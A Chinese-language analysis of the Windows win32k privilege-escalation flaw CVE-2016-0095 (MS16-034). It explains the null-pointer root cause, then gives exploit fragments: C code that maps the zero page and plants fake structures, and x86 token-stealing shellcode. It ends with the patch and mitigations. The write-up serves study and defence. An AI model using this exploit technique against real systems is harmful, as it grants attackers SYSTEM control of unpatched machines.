CVE-2016-0095 Windows提权漏洞分析
字数 1163 2025-08-03 16:49:24

Windows提权漏洞CVE-2016-0095(MS16-034)分析与利用

漏洞概述

CVE-2016-0095是Windows内核中的一个提权漏洞,存在于win32k.sys组件中。该漏洞属于空指针解引用类型,影响Windows 7 SP1 x86和Windows 10 x86系统。攻击者可以利用此漏洞从普通用户权限提升至SYSTEM权限。

漏洞原理分析

漏洞触发点

漏洞位于win32k!bGetRealizedBrush函数中,具体崩溃点在:

win32k!bGetRealizedBrush+0x38:
95d40560 f6402401 test byte ptr [eax+24h],1

当eax为NULL时,尝试访问[eax+24h]会导致访问违例,系统蓝屏。

漏洞调用链

完整的调用链如下:

win32k!NtGdiFillRgn+0x339
  -> win32k!EngPaint
    -> win32k!EngBitBlt
      -> win32k!pvGetEngRbrush
        -> win32k!bGetRealizedBrush

关键结构分析

漏洞涉及两个关键结构:

  1. _BRUSHOBJ结构

    • 偏移0x34处包含指向另一个结构的指针
    • 该指针+0x1C处应为有效值,但在漏洞触发时为NULL
  2. _SURFOBJ结构

typedef struct _SURFOBJ {
    DHSURF dhsurf;
    HSURF hsurf;
    DHPDEV dhpdev;
    HDEV hdev;
    SIZEL sizlBitmap;
    ULONG cjBits;
    PVOID pvBits;
    PVOID pvScan0;
    LONG lDelta;
    ULONG iUniq;
    ULONG iBitmapFormat;
    USHORT iType;
    USHORT fjBitmap;
} SURFOBJ;

根本原因

漏洞的根本原因是未正确验证_BRUSHOBJ结构中偏移0x34处指针的有效性,导致可以解引用NULL指针。通过精心构造的GDI调用链,攻击者可以控制执行流程。

漏洞利用技术

利用思路

  1. 分配零页内存(0x00000000 - 0x00000FFF)
  2. 在零页构造伪造的结构体,绕过检查
  3. 放置Shellcode并设置跳转
  4. 触发漏洞执行Shellcode

关键利用步骤

  1. 分配零页内存
*((FARPROC*)&NtAllocateVirtualMemory) = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &Zero_addr, 0, &RegionSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
  1. 绕过检查
*(DWORD*)(0x590) = (DWORD)0x1;  // 绕过第一处检查
*(DWORD*)(0x592) = (DWORD)0x1;  // 绕过第二处检查
  1. 设置Shellcode跳转
*(DWORD*)(0x748) = (DWORD)&ShellCode;  // 设置[eax+748h]为Shellcode地址
  1. Shellcode实现
pushad
mov eax, fs:[124h]    // 获取当前线程的_KTHREAD结构
mov eax, [eax+0x50]   // 获取_EPROCESS结构
mov ecx, eax
mov edx, 4            // SYSTEM进程PID=4

find_sys_pid:
mov eax, [eax+0xb8]   // 获取进程活动链表
sub eax, 0xb8         // 遍历链表
cmp [eax+0xb4], edx   // 比较PID
jnz find_sys_pid

// 替换Token
mov edx, [eax+0xf8]
mov [ecx+0xf8], edx
popad
ret
  1. 触发漏洞
Trigger_BSoDPoc();  // 调用漏洞触发函数

完整利用流程

  1. 使用CreateBitmapIndirect创建特制的位图对象
  2. 调用未文档化的NtGdiSetBitmapAttributes函数设置位图属性
  3. 创建特定区域(HRGN)和设备上下文(HDC)
  4. 调用FillRgn触发漏洞执行路径

漏洞修复

微软在MS16-034补丁中修复了此漏洞,主要修复措施包括:

  1. bGetRealizedBrush函数中添加了指针有效性检查
  2. 验证_BRUSHOBJ结构中偏移0x34处指针不为NULL
  3. 确保所有GDI对象在使用前都经过适当验证

防御建议

  1. 及时安装微软安全更新
  2. 启用DEP(数据执行保护)和ASLR(地址空间布局随机化)
  3. 限制普通用户对GDI API的调用权限
  4. 使用EMET等缓解工具增强防护

扩展利用

此漏洞在x64系统上的利用方法类似,只需调整相应偏移即可。攻击者还可以结合其他漏洞实现更复杂的攻击链。

参考资源

  1. Microsoft安全公告MS16-034
  2. Windows内核结构文档
  3. GDI内部实现相关资料
  4. k0shl师傅的分析文章: https://whereisk0shl.top/ssctf_pwn450_windows_kernel_exploitation_writeup.html
Windows提权漏洞CVE-2016-0095(MS16-034)分析与利用 漏洞概述 CVE-2016-0095是Windows内核中的一个提权漏洞,存在于win32k.sys组件中。该漏洞属于空指针解引用类型,影响Windows 7 SP1 x86和Windows 10 x86系统。攻击者可以利用此漏洞从普通用户权限提升至SYSTEM权限。 漏洞原理分析 漏洞触发点 漏洞位于 win32k!bGetRealizedBrush 函数中,具体崩溃点在: 当eax为NULL时,尝试访问[ eax+24h ]会导致访问违例,系统蓝屏。 漏洞调用链 完整的调用链如下: 关键结构分析 漏洞涉及两个关键结构: _ BRUSHOBJ结构 : 偏移0x34处包含指向另一个结构的指针 该指针+0x1C处应为有效值,但在漏洞触发时为NULL _ SURFOBJ结构 : 根本原因 漏洞的根本原因是未正确验证 _BRUSHOBJ 结构中偏移0x34处指针的有效性,导致可以解引用NULL指针。通过精心构造的GDI调用链,攻击者可以控制执行流程。 漏洞利用技术 利用思路 分配零页内存(0x00000000 - 0x00000FFF) 在零页构造伪造的结构体,绕过检查 放置Shellcode并设置跳转 触发漏洞执行Shellcode 关键利用步骤 分配零页内存 : 绕过检查 : 设置Shellcode跳转 : Shellcode实现 : 触发漏洞 : 完整利用流程 使用 CreateBitmapIndirect 创建特制的位图对象 调用未文档化的 NtGdiSetBitmapAttributes 函数设置位图属性 创建特定区域(HRGN)和设备上下文(HDC) 调用 FillRgn 触发漏洞执行路径 漏洞修复 微软在MS16-034补丁中修复了此漏洞,主要修复措施包括: 在 bGetRealizedBrush 函数中添加了指针有效性检查 验证 _BRUSHOBJ 结构中偏移0x34处指针不为NULL 确保所有GDI对象在使用前都经过适当验证 防御建议 及时安装微软安全更新 启用DEP(数据执行保护)和ASLR(地址空间布局随机化) 限制普通用户对GDI API的调用权限 使用EMET等缓解工具增强防护 扩展利用 此漏洞在x64系统上的利用方法类似,只需调整相应偏移即可。攻击者还可以结合其他漏洞实现更复杂的攻击链。 参考资源 Microsoft安全公告MS16-034 Windows内核结构文档 GDI内部实现相关资料 k0shl师傅的分析文章: https://whereisk0shl.top/ssctf_ pwn450_ windows_ kernel_ exploitation_ writeup.html